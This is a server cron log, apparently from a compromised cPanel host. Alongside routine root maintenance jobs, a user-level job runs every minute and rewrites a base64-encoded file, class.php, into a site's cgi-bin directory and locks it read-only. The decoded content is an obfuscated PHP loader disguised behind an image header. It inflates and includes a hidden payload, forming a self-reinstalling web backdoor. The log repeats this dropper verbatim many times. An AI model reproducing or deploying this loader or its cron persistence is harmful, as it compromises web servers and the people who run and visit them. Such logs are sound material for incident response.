Sep  9 13:38:01 server CROND[20993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:39:01 server CROND[21470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:39:01 server CROND[21469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:39:01 server CROND[21471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:39:01 server CROND[21474]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 13:40:01 server CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:40:01 server CROND[21877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:40:01 server CROND[21883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:40:01 server CROND[21882]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:40:01 server CROND[21881]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:40:01 server CROND[21880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:40:01 server CROND[21886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:40:01 server CROND[21887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:41:01 server CROND[22741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:41:01 server CROND[22742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:41:01 server CROND[22743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:42:01 server CROND[23282]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:42:01 server CROND[23283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:42:01 server CROND[23284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:42:01 server CROND[23285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:43:01 server CROND[23679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:43:01 server CROND[23680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:43:01 server CROND[23681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:44:01 server CROND[24150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:44:01 server CROND[24151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:44:01 server CROND[24152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:45:01 server CROND[24542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:45:01 server CROND[24548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:45:01 server CROND[24550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:45:01 server CROND[24551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:45:01 server CROND[24552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:45:01 server CROND[24554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:45:01 server CROND[24555]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:46:01 server CROND[25378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:46:01 server CROND[25379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:46:01 server CROND[25380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:47:01 server CROND[25873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:47:01 server CROND[25874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:47:01 server CROND[25875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:48:01 server CROND[26329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:48:01 server CROND[26330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:48:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:49:01 server CROND[26800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:49:01 server CROND[26801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:49:01 server CROND[26802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:50:01 server CROND[27207]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:50:01 server CROND[27208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:50:01 server CROND[27211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:50:01 server CROND[27214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:50:01 server CROND[27215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:50:01 server CROND[27216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
